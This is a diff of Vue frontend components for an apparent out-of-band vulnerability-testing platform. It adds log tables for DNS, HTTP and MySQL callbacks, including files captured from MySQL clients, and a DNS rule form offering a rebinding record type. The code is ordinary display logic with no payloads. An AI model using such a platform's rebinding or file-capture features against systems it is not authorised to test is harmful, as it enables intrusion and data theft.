icon="search"
|
||||||
|
size="small"
|
||||||
|
style="width: 90px; margin-right: 8px"
|
||||||
|
@click="() => {
|
||||||
|
filters[column.dataIndex] = selectedKeys[0];
|
||||||
|
fetch()
|
||||||
|
}"
|
||||||
|
>
|
||||||
|
Search
|
||||||
|
</a-button>
|
||||||
|
<a-button size="small" style="width: 90px" @click="() =>{
|
||||||
|
clearFilters();
|
||||||
|
delete filters[column.dataIndex];
|
||||||
|
fetch()
|
||||||
|
}">
|
||||||
|
Reset
|
||||||
|
</a-button>
|
||||||
|
</div>
|
||||||
|
<a-icon
|
||||||
|
slot="filterIcon"
|
||||||
|
slot-scope="filtered"
|
||||||
|
type="search"
|
||||||
|
:style="{ color: filtered ? '#108ee9' : undefined }"
|
||||||
|
/>
|
||||||
|
|
||||||
|
<span slot="time" slot-scope="time">
|
||||||
|
{{ new Date(time).format("yyyy-MM-dd hh:mm:ss") }}
|
||||||
|
</span>
|
||||||
|
</a-table>
|
||||||
|
</template>
|
||||||
|
<style>
|
||||||
|
.gray-table-row {
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
import {getDnsRecord} from '@/api/record'
|
||||||
|
import {store} from '@/main'
|
||||||
|
|
||||||
|
const columns = [
|
||||||
|
{
|
||||||
|
title: 'ID',
|
||||||
|
dataIndex: 'id',
|
||||||
|
key: 'id',
|
||||||
|
sorter: true,
|
||||||
|
sortDirections: ['descend', 'ascend'],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'REQUEST TIME',
|
||||||
|
dataIndex: 'request_time',
|
||||||
|
key: 'request_time',
|
||||||
|
scopedSlots: {customRender: 'time'},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'RULE',
|
||||||
|
dataIndex: 'rule_name',
|
||||||
|
key: 'rule_name',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'FLAG',
|
||||||
|
dataIndex: 'flag',
|
||||||
|
key: 'flag',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'DOMAIN',
|
||||||
|
dataIndex: 'domain',
|
||||||
|
key: 'domain',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'REMOTE IP',
|
||||||
|
key: 'remote_ip',
|
||||||
|
dataIndex: 'remote_ip',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'IP AREA',
|
||||||
|
key: 'ip_area',
|
||||||
|
dataIndex: 'ip_area'
|
||||||
|
}
|
||||||
|
];
|
||||||
|
|
||||||
|
export default {
|
||||||
|
name: 'DnsLogs',
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
data: [],
|
||||||
|
pagination: {current: 1},
|
||||||
|
filters: {},
|
||||||
|
order: "desc",
|
||||||
|
loading: false,
|
||||||
|
columns,
|
||||||
|
};
|
||||||
|
},
|
||||||
|
methods: {
|
||||||
|
handleTableChange(pagination, filters, sorter) {
|
||||||
|
const pager = {...this.pagination};
|
||||||
|
pager.current = pagination.current;
|
||||||
|
this.pagination = pager;
|
||||||
|
this.order = sorter.order === "ascend" ? "asc" : "desc"
|
||||||
|
this.fetch();
|
||||||
|
},
|
||||||
|
fetch: function () {
|
||||||
|
this.loading = true;
|
||||||
|
let params = {
|
||||||
|
...this.filters,
|
||||||
|
page: this.pagination.current,
|
||||||
|
order: this.order
|
||||||
|
}
|
||||||
|
getDnsRecord(params).then(res => {
|
||||||
|
let result = res.data.result
|
||||||
|
this.data = result.data
|
||||||
|
const pagination = {...this.pagination};
|
||||||
|
// Read total count from server
|
||||||
|
// pagination.total = data.totalCount;
|
||||||
|
pagination.total = result.count;
|
||||||
|
this.pagination = pagination;
|
||||||
|
this.loading = false
|
||||||
|
}).catch(e => {
|
||||||
|
if (e.response.status === 403) {
|
||||||
|
store.authed = false
|
||||||
|
return []
|
||||||
|
} else {
|
||||||
|
console.error(e)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
mounted() {
|
||||||
|
this.fetch({page: "1"});
|
||||||
|
},
|
||||||
|
}
|
||||||
|
</script>
|
||||||
@@ -0,0 +1,205 @@
|
|||||||
|
<template>
|
||||||
|
<a-table
|
||||||
|
:columns="columns"
|
||||||
|
:data-source="data"
|
||||||
|
:loading="loading"
|
||||||
|
:pagination="pagination"
|
||||||
|
@change="handleTableChange"
|
||||||
|
:rowClassName="(record, index) => index % 2 === 0 ? '' : 'gray-table-row'"
|
||||||
|
>
|
||||||
|
<div
|
||||||
|
slot="filterDropdown"
|
||||||
|
slot-scope="{ setSelectedKeys, selectedKeys, clearFilters, column }"
|
||||||
|
style="padding: 8px"
|
||||||
|
>
|
||||||
|
<a-input
|
||||||
|
:placeholder="`Search ${column.dataIndex}`"
|
||||||
|
:value="selectedKeys[0]"
|
||||||
|
style="width: 188px; margin-bottom: 8px; display: block;"
|
||||||
|
@change="e => setSelectedKeys(e.target.value ? [e.target.value] : [])"
|
||||||
|
@pressEnter="() => {
|
||||||
|
filters[column.dataIndex] = selectedKeys[0];
|
||||||
|
fetch()
|
||||||
|
}"
|
||||||
|
/>
|
||||||
|
<a-button
|
||||||
|
type="primary"
|
||||||
|
icon="search"
|
||||||
|
size="small"
|
||||||
|
style="width: 90px; margin-right: 8px"
|
||||||
|
@click="() => {
|
||||||
|
filters[column.dataIndex] = selectedKeys[0];
|
||||||
|
fetch()
|
||||||
|
}"
|
||||||
|
>
|
||||||
|
Search
|
||||||
|
</a-button>
|
||||||
|
<a-button size="small" style="width: 90px" @click="() =>{
|
||||||
|
clearFilters();
|
||||||
|
delete filters[column.dataIndex];
|
||||||
|
fetch()
|
||||||
|
}">
|
||||||
|
Reset
|
||||||
|
</a-button>
|
||||||
|
</div>
|
||||||
|
<a-icon
|
||||||
|
slot="filterIcon"
|
||||||
|
slot-scope="filtered"
|
||||||
|
type="search"
|
||||||
|
:style="{ color: filtered ? '#108ee9' : undefined }"
|
||||||
|
/>
|
||||||
|
|
||||||
|
<span slot="time" slot-scope="time">
|
||||||
|
{{ new Date(time).format("yyyy-MM-dd hh:mm:ss") }}
|
||||||
|
</span>
|
||||||
|
<span slot="method" slot-scope="method">
|
||||||
|
<a-tag
|
||||||
|
:color="colors[method]"
|
||||||
|
>
|
||||||
|
{{ method.toUpperCase() }}
|
||||||
|
</a-tag>
|
||||||
|
</span>
|
||||||
|
<code slot="expandedRowRender" slot-scope="record" style="margin: 0">
|
||||||
|
<b style="color: gray">RAW REQUEST:</b><br>
|
||||||
|
<hr/>
|
||||||
|
<span style="white-space: pre-line">{{ record.raw_request }}</span>
|
||||||
|
</code>
|
||||||
|
</a-table>
|
||||||
|
</template>
|
||||||
|
<style>
|
||||||
|
.gray-table-row {
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
import {getHttpRecord} from '@/api/record'
|
||||||
|
import {store} from '@/main'
|
||||||
|
|
||||||
|
const colors = {
|
||||||
|
"GET": "green",
|
||||||
|
"POST": "red",
|
||||||
|
"HEAD": "pink",
|
||||||
|
"PUT": "geekblue",
|
||||||
|
"OPTIONS": "cyan",
|
||||||
|
"DELETE": "purple",
|
||||||
|
}
|
||||||
|
|
||||||
|
const columns = [
|
||||||
|
{
|
||||||
|
title: 'ID',
|
||||||
|
dataIndex: 'id',
|
||||||
|
key: 'id',
|
||||||
|
sorter: true,
|
||||||
|
sortDirections: ['descend', 'ascend'],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'REQUEST TIME',
|
||||||
|
dataIndex: 'request_time',
|
||||||
|
key: 'request_time',
|
||||||
|
scopedSlots: {customRender: 'time'},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'RULE',
|
||||||
|
dataIndex: 'rule_name',
|
||||||
|
key: 'rule_name',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'FLAG',
|
||||||
|
dataIndex: 'flag',
|
||||||
|
key: 'flag',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'METHOD',
|
||||||
|
dataIndex: 'method',
|
||||||
|
key: 'method',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: 'method',
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'PATH',
|
||||||
|
dataIndex: 'path',
|
||||||
|
key: 'path',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'REMOTE IP',
|
||||||
|
key: 'remote_ip',
|
||||||
|
dataIndex: 'remote_ip',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'IP AREA',
|
||||||
|
key: 'ip_area',
|
||||||
|
dataIndex: 'ip_area'
|
||||||
|
}
|
||||||
|
];
|
||||||
|
|
||||||
|
export default {
|
||||||
|
name: 'HttpLogs',
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
data: [],
|
||||||
|
pagination: {current: 1},
|
||||||
|
filters: {},
|
||||||
|
loading: false,
|
||||||
|
columns,
|
||||||
|
colors
|
||||||
|
};
|
||||||
|
},
|
||||||
|
methods: {
|
||||||
|
handleTableChange(pagination, filters, sorter) {
|
||||||
|
const pager = {...this.pagination};
|
||||||
|
pager.current = pagination.current;
|
||||||
|
this.pagination = pager;
|
||||||
|
this.order = sorter.order === "ascend" ? "asc" : "desc"
|
||||||
|
this.fetch();
|
||||||
|
},
|
||||||
|
fetch: function () {
|
||||||
|
this.loading = true;
|
||||||
|
let params = {
|
||||||
|
...this.filters,
|
||||||
|
page: this.pagination.current,
|
||||||
|
order: this.order
|
||||||
|
}
|
||||||
|
getHttpRecord(params).then(res => {
|
||||||
|
let result = res.data.result
|
||||||
|
this.data = result.data
|
||||||
|
const pagination = {...this.pagination};
|
||||||
|
// Read total count from server
|
||||||
|
// pagination.total = data.totalCount;
|
||||||
|
pagination.total = result.count;
|
||||||
|
this.pagination = pagination;
|
||||||
|
this.loading = false
|
||||||
|
}).catch(e => {
|
||||||
|
if (e.response.status === 403) {
|
||||||
|
store.authed = false
|
||||||
|
return []
|
||||||
|
} else {
|
||||||
|
console.error(e)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
mounted() {
|
||||||
|
this.fetch({page: "1"});
|
||||||
|
},
|
||||||
|
}
|
||||||
|
</script>
|
||||||
@@ -0,0 +1,232 @@
|
|||||||
|
<template>
|
||||||
|
<a-table
|
||||||
|
:columns="columns"
|
||||||
|
:data-source="data"
|
||||||
|
:loading="loading"
|
||||||
|
:pagination="pagination"
|
||||||
|
@change="handleTableChange"
|
||||||
|
:rowClassName="(record, index) => index % 2 === 0 ? '' : 'gray-table-row'"
|
||||||
|
>
|
||||||
|
<div v-if="record.files.length" slot="expandedRowRender" slot-scope="record" style="margin: 0">
|
||||||
|
<b v-if="record.files.length" style="color: gray">FILES:</b><br>
|
||||||
|
<a v-for="file in record.files" :key="file.name+record.id" :href="'/revsuit/api/file/mysql/'+file.id" target="_blank">{{ file.name }} </a>
|
||||||
|
</div>
|
||||||
|
<div
|
||||||
|
slot="filterDropdown"
|
||||||
|
slot-scope="{ setSelectedKeys, selectedKeys, clearFilters, column }"
|
||||||
|
style="padding: 8px"
|
||||||
|
>
|
||||||
|
<a-input
|
||||||
|
:placeholder="`Search ${column.dataIndex}`"
|
||||||
|
:value="selectedKeys[0]"
|
||||||
|
style="width: 188px; margin-bottom: 8px; display: block;"
|
||||||
|
@change="e => setSelectedKeys(e.target.value ? [e.target.value] : [])"
|
||||||
|
@pressEnter="() => {
|
||||||
|
filters[column.dataIndex] = selectedKeys[0];
|
||||||
|
fetch()
|
||||||
|
}"
|
||||||
|
/>
|
||||||
|
<a-button
|
||||||
|
type="primary"
|
||||||
|
icon="search"
|
||||||
|
size="small"
|
||||||
|
style="width: 90px; margin-right: 8px"
|
||||||
|
@click="() => {
|
||||||
|
filters[column.dataIndex] = selectedKeys[0];
|
||||||
|
fetch()
|
||||||
|
}"
|
||||||
|
>
|
||||||
|
Search
|
||||||
|
</a-button>
|
||||||
|
<a-button size="small" style="width: 90px" @click="() =>{
|
||||||
|
clearFilters();
|
||||||
|
delete filters[column.dataIndex];
|
||||||
|
fetch()
|
||||||
|
}">
|
||||||
|
Reset
|
||||||
|
</a-button>
|
||||||
|
</div>
|
||||||
|
<a-icon
|
||||||
|
slot="filterIcon"
|
||||||
|
slot-scope="filtered"
|
||||||
|
type="search"
|
||||||
|
:style="{ color: filtered ? '#108ee9' : undefined }"
|
||||||
|
/>
|
||||||
|
|
||||||
|
<span slot="time" slot-scope="time">
|
||||||
|
{{ new Date(time).format("yyyy-MM-dd hh:mm:ss") }}
|
||||||
|
</span>
|
||||||
|
<span slot="loadData" slot-scope="loadData">
|
||||||
|
<a-tag v-if="loadData"
|
||||||
|
color="green"
|
||||||
|
>True</a-tag><a-tag v-else color="red">False</a-tag>
|
||||||
|
</span>
|
||||||
|
<span slot="fileNum" slot-scope="files">
|
||||||
|
<a-tag v-if="files.length>=3"
|
||||||
|
color="purple"
|
||||||
|
>{{ files.length }}</a-tag>
|
||||||
|
<a-tag v-else :color="colors[files.length]">
|
||||||
|
{{ files.length }}
|
||||||
|
</a-tag>
|
||||||
|
</span>
|
||||||
|
</a-table>
|
||||||
|
</template>
|
||||||
|
<style>
|
||||||
|
.gray-table-row {
|
||||||
|
background-color: #f5f5f5;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
import {getMysqlRecord} from '@/api/record'
|
||||||
|
import {store} from '@/main'
|
||||||
|
|
||||||
|
const colors = [
|
||||||
|
"geekblue",
|
||||||
|
"blue",
|
||||||
|
"pink",
|
||||||
|
]
|
||||||
|
|
||||||
|
const columns = [
|
||||||
|
{
|
||||||
|
title: 'ID',
|
||||||
|
dataIndex: 'id',
|
||||||
|
key: 'id',
|
||||||
|
sorter: true,
|
||||||
|
sortDirections: ['descend', 'ascend'],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'REQUEST TIME',
|
||||||
|
dataIndex: 'request_time',
|
||||||
|
key: 'request_time',
|
||||||
|
scopedSlots: {customRender: 'time'},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'RULE',
|
||||||
|
dataIndex: 'rule_name',
|
||||||
|
key: 'rule_name',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'FLAG',
|
||||||
|
dataIndex: 'flag',
|
||||||
|
key: 'flag',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'USER',
|
||||||
|
dataIndex: 'username',
|
||||||
|
key: 'username',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'LOAD DATA',
|
||||||
|
dataIndex: 'load_local_data',
|
||||||
|
key: 'load_local_data',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: "loadData",
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'FILE NUM',
|
||||||
|
dataIndex: 'files',
|
||||||
|
key: 'files',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: "fileNum",
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'CLIENT NAME',
|
||||||
|
dataIndex: 'client_name',
|
||||||
|
key: 'client_name',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'CLIENT OS',
|
||||||
|
dataIndex: 'client_os',
|
||||||
|
key: 'client_os',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'REMOTE IP',
|
||||||
|
key: 'remote_ip',
|
||||||
|
dataIndex: 'remote_ip',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'IP AREA',
|
||||||
|
key: 'ip_area',
|
||||||
|
dataIndex: 'ip_area'
|
||||||
|
}
|
||||||
|
];
|
||||||
|
|
||||||
|
export default {
|
||||||
|
name: 'MysqlLogs',
|
||||||
|
data() {
|
||||||
|
return {
|
||||||
|
data: [],
|
||||||
|
pagination: {current: 1},
|
||||||
|
filters: {},
|
||||||
|
order: "desc",
|
||||||
|
loading: false,
|
||||||
|
columns,
|
||||||
|
colors
|
||||||
|
};
|
||||||
|
},
|
||||||
|
methods: {
|
||||||
|
handleTableChange(pagination, filters, sorter) {
|
||||||
|
const pager = {...this.pagination};
|
||||||
|
pager.current = pagination.current;
|
||||||
|
this.pagination = pager;
|
||||||
|
this.order = sorter.order === "ascend" ? "asc" : "desc"
|
||||||
|
this.fetch();
|
||||||
|
},
|
||||||
|
fetch: function () {
|
||||||
|
this.loading = true;
|
||||||
|
let params = {
|
||||||
|
...this.filters,
|
||||||
|
page: this.pagination.current,
|
||||||
|
order: this.order
|
||||||
|
}
|
||||||
|
getMysqlRecord(params).then(res => {
|
||||||
|
let result = res.data.result
|
||||||
|
this.data = result.data
|
||||||
|
const pagination = {...this.pagination};
|
||||||
|
// Read total count from server
|
||||||
|
// pagination.total = data.totalCount;
|
||||||
|
pagination.total = result.count;
|
||||||
|
this.pagination = pagination;
|
||||||
|
this.loading = false
|
||||||
|
}).catch(e => {
|
||||||
|
if (e.response.status === 403) {
|
||||||
|
store.authed = false
|
||||||
|
return []
|
||||||
|
} else {
|
||||||
|
console.error(e)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
},
|
||||||
|
mounted() {
|
||||||
|
this.fetch({page: "1"});
|
||||||
|
},
|
||||||
|
}
|
||||||
|
</script>
|
||||||
@@ -0,0 +1,429 @@
|
|||||||
|
<template xmlns:a-col="http://www.w3.org/1999/html">
|
||||||
|
<div>
|
||||||
|
<a-button id="add-rule" type="primary" @click="addRule">
|
||||||
|
<a-icon type="plus"/>
|
||||||
|
New Rule
|
||||||
|
</a-button>
|
||||||
|
<!-- rule form-->
|
||||||
|
<a-drawer
|
||||||
|
:title="formAction+ ' Dns rule'"
|
||||||
|
:width="460"
|
||||||
|
:visible="formVisible"
|
||||||
|
:body-style="{ paddingBottom: '80px' }"
|
||||||
|
@close="closeDrawer"
|
||||||
|
>
|
||||||
|
<a-form-model :model="form" ref="form" layout="vertical" @submit="handleSubmit">
|
||||||
|
<BasicRule :form="form" :readOnly="formReadOnly"/>
|
||||||
|
<a-row :gutter="24">
|
||||||
|
<a-col :span="12">
|
||||||
|
<a-form-model-item label="Type" :rules="rules.type">
|
||||||
|
<a-select style="width: 100%"
|
||||||
|
v-model="form.type"
|
||||||
|
v-decorator="['type']"
|
||||||
|
:disabled="formReadOnly"
|
||||||
|
placeholder="A"
|
||||||
|
>
|
||||||
|
<a-select-option :value=1>A</a-select-option>
|
||||||
|
<a-select-option :value=28>AAAA</a-select-option>
|
||||||
|
<a-select-option :value=5>CNAME</a-select-option>
|
||||||
|
<a-select-option :value=16>TXT</a-select-option>
|
||||||
|
<a-select-option :value=2>NS</a-select-option>
|
||||||
|
<a-select-option :value=99>REBINDING</a-select-option>
|
||||||
|
</a-select>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
<a-col :span="12">
|
||||||
|
<a-form-model-item label="TTL" :rules="rules.ttl">
|
||||||
|
<a-input-number style="width: 100%"
|
||||||
|
v-model="form.ttl"
|
||||||
|
v-decorator="['ttl']"
|
||||||
|
:disabled="formReadOnly"
|
||||||
|
placeholder="10"
|
||||||
|
:value="form.type === 99 ? form.ttl = 0 : null"
|
||||||
|
>
|
||||||
|
</a-input-number>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
</a-row>
|
||||||
|
<a-row :gutter="24">
|
||||||
|
<a-col :span="24">
|
||||||
|
<a-form-model-item label="Value" :rules="rules.value">
|
||||||
|
<a-input
|
||||||
|
v-model="form.value"
|
||||||
|
style="width: 100%"
|
||||||
|
:placeholder="form.type === 99 ?
|
||||||
|
'8.8.8.8,127.0.0.1' : 'please enter resolve value'
|
||||||
|
"
|
||||||
|
:readOnly="formReadOnly"
|
||||||
|
/>
|
||||||
|
</a-form-model-item>
|
||||||
|
</a-col>
|
||||||
|
</a-row>
|
||||||
|
</a-form-model>
|
||||||
|
<div
|
||||||
|
:style="{
|
||||||
|
position: 'absolute',
|
||||||
|
right: 0,
|
||||||
|
bottom: 0,
|
||||||
|
width: '100%',
|
||||||
|
borderTop: '1px solid #e9e9e9',
|
||||||
|
padding: '10px 16px',
|
||||||
|
background: '#fff',
|
||||||
|
textAlign: 'right',
|
||||||
|
zIndex: 1,
|
||||||
|
}"
|
||||||
|
>
|
||||||
|
<a-button :style="{ marginRight: '8px' }" @click="handleCancel">
|
||||||
|
Cancel
|
||||||
|
</a-button>
|
||||||
|
<a-button type="primary" :disabled="formReadOnly" @click="handleSubmit">
|
||||||
|
Submit
|
||||||
|
</a-button>
|
||||||
|
</div>
|
||||||
|
</a-drawer>
|
||||||
|
<!-- rule table -->
|
||||||
|
<a-table
|
||||||
|
:columns="columns"
|
||||||
|
:data-source="data"
|
||||||
|
:loading="loading"
|
||||||
|
:pagination="pagination"
|
||||||
|
@change="handleTableChange"
|
||||||
|
>
|
||||||
|
<div
|
||||||
|
slot="filterDropdown"
|
||||||
|
slot-scope="{ setSelectedKeys, selectedKeys, clearFilters, column }"
|
||||||
|
style="padding: 8px"
|
||||||
|
>
|
||||||
|
<a-input
|
||||||
|
:placeholder="`Search ${column.dataIndex}`"
|
||||||
|
:value="selectedKeys[0]"
|
||||||
|
style="width: 188px; margin-bottom: 8px; display: block;"
|
||||||
|
@change="e => setSelectedKeys(e.target.value ? [e.target.value] : [])"
|
||||||
|
@pressEnter="() => {filters[column.dataIndex] = selectedKeys[0];fetch()}"
|
||||||
|
/>
|
||||||
|
<a-button
|
||||||
|
type="primary"
|
||||||
|
icon="search"
|
||||||
|
size="small"
|
||||||
|
style="width: 90px; margin-right: 8px"
|
||||||
|
@click="() => {filters[column.dataIndex] = selectedKeys[0];fetch()}"
|
||||||
|
>
|
||||||
|
Search
|
||||||
|
</a-button>
|
||||||
|
</div>
|
||||||
|
<a-icon
|
||||||
|
slot="filterIcon"
|
||||||
|
slot-scope="filtered"
|
||||||
|
type="search"
|
||||||
|
:style="{ color: filtered ? '#108ee9' : undefined }"
|
||||||
|
/>
|
||||||
|
<span slot="rank" slot-scope="rank">
|
||||||
|
<a-tag
|
||||||
|
:color="'#'+(0x2db7f5+rank*80).toString(16)"
|
||||||
|
>
|
||||||
|
{{ rank }}
|
||||||
|
</a-tag>
|
||||||
|
</span>
|
||||||
|
<span slot="type" slot-scope="type">
|
||||||
|
<a-tag
|
||||||
|
:color="colors[type]"
|
||||||
|
>
|
||||||
|
{{ resolveTypes[type] }}
|
||||||
|
</a-tag>
|
||||||
|
</span>
|
||||||
|
|
||||||
|
<span slot="switchRender" slot-scope="checked,record,index,dataIndex">
|
||||||
|
<a-switch :checked="checked" @click="clickSwitch(record,dataIndex.dataIndex)"></a-switch>
|
||||||
|
</span>
|
||||||
|
<span slot="valueRender" slot-scope="values">
|
||||||
|
<span v-for="value in values.split(',')" :key="value">{{ value }}<br/></span>
|
||||||
|
</span>
|
||||||
|
<span slot="action" slot-scope="text,record,index">
|
||||||
|
<!-- <a-button @click="viewRule(record)" style="-->
|
||||||
|
<!-- color: #67C23A;-->
|
||||||
|
<!-- background-color: transparent;-->
|
||||||
|
<!-- border-color: #67C23A;-->
|
||||||
|
<!-- text-shadow: none;-->
|
||||||
|
<!-- margin-right: 10px;-->
|
||||||
|
<!--" size="small" ghost>View</a-button>-->
|
||||||
|
<a-button @click="editRule(record,index)" style="
|
||||||
|
color: #909399;
|
||||||
|
background-color: transparent;
|
||||||
|
border-color: #909399;
|
||||||
|
text-shadow: none;
|
||||||
|
margin-right: 10px;
|
||||||
|
" size="small" ghost>Edit</a-button>
|
||||||
|
<a-popconfirm
|
||||||
|
title="Are you sure delete this task?"
|
||||||
|
ok-text="Yes"
|
||||||
|
cancel-text="No"
|
||||||
|
@confirm="deleteRule(record,index)"
|
||||||
|
>
|
||||||
|
<a-button type="danger" size="small" ghost>Delete</a-button>
|
||||||
|
</a-popconfirm>
|
||||||
|
</span>
|
||||||
|
</a-table>
|
||||||
|
</div>
|
||||||
|
</template>
|
||||||
|
<style scoped>
|
||||||
|
#add-rule {
|
||||||
|
margin-bottom: 10px;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
<script>
|
||||||
|
|
||||||
|
import {getDnsRule, upsertDnsRule, deleteDnsRule} from '@/api/rule'
|
||||||
|
import {store} from '@/main'
|
||||||
|
import BasicRule from "@/components/BasicRule";
|
||||||
|
|
||||||
|
const VIEW = "View"
|
||||||
|
const EDIT = "Edit"
|
||||||
|
const CREATE = "Create"
|
||||||
|
|
||||||
|
const colors = {
|
||||||
|
1: "geekblue",
|
||||||
|
28: "green",
|
||||||
|
5: "red",
|
||||||
|
16: "pink",
|
||||||
|
2: "purple",
|
||||||
|
99: "orange",
|
||||||
|
}
|
||||||
|
|
||||||
|
const resolveTypes = {
|
||||||
|
1: "A",
|
||||||
|
28: "AAAA",
|
||||||
|
5: "CNAME",
|
||||||
|
16: "TXT",
|
||||||
|
2: "NS",
|
||||||
|
99: "RB",
|
||||||
|
}
|
||||||
|
|
||||||
|
const columns = [
|
||||||
|
{
|
||||||
|
title: 'ID',
|
||||||
|
dataIndex: 'id',
|
||||||
|
key: 'id',
|
||||||
|
sorter: true,
|
||||||
|
sortDirections: ['descend', 'ascend'],
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'NAME',
|
||||||
|
dataIndex: 'name',
|
||||||
|
key: 'name',
|
||||||
|
scopedSlots: {
|
||||||
|
filterDropdown: 'filterDropdown',
|
||||||
|
filterIcon: 'filterIcon',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'FLAG FORMAT',
|
||||||
|
dataIndex: 'flag_format',
|
||||||
|
key: 'flag_format',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'RANK',
|
||||||
|
dataIndex: 'rank',
|
||||||
|
key: 'rank',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: 'rank',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'TYPE',
|
||||||
|
dataIndex: 'type',
|
||||||
|
key: 'type',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: 'type',
|
||||||
|
},
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'TTL',
|
||||||
|
dataIndex: 'ttl',
|
||||||
|
key: 'ttl',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'VALUE',
|
||||||
|
dataIndex: 'value',
|
||||||
|
key: 'value',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: 'valueRender',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'PUSH TO CLIENT',
|
||||||
|
dataIndex: 'push_to_client',
|
||||||
|
key: 'push_to_client',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: 'switchRender',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'NOTICE',
|
||||||
|
dataIndex: 'notice',
|
||||||
|
key: 'notice',
|
||||||
|
scopedSlots: {
|
||||||
|
customRender: 'switchRender',
|
||||||
|
}
|
||||||
|
},
|
||||||
|
{
|
||||||
|
title: 'Action',
|
||||||
|
key: 'action',
|
||||||
|
scopedSlots: {customRender: 'action'},
|
||||||
|
},
|
||||||
|
];
|
||||||
|
const rules = {
|
||||||
|
value: [{required: false, message: "please enter resolve value"}],
|
||||||
|
type: [{required: false, message: "please enter resolve type"}],
|
||||||
|
ttl: [{required: false, message: "please enter resolve ttl"}]
|
||||||
|
}
|
||||||
|
export default {
|
||||||
|
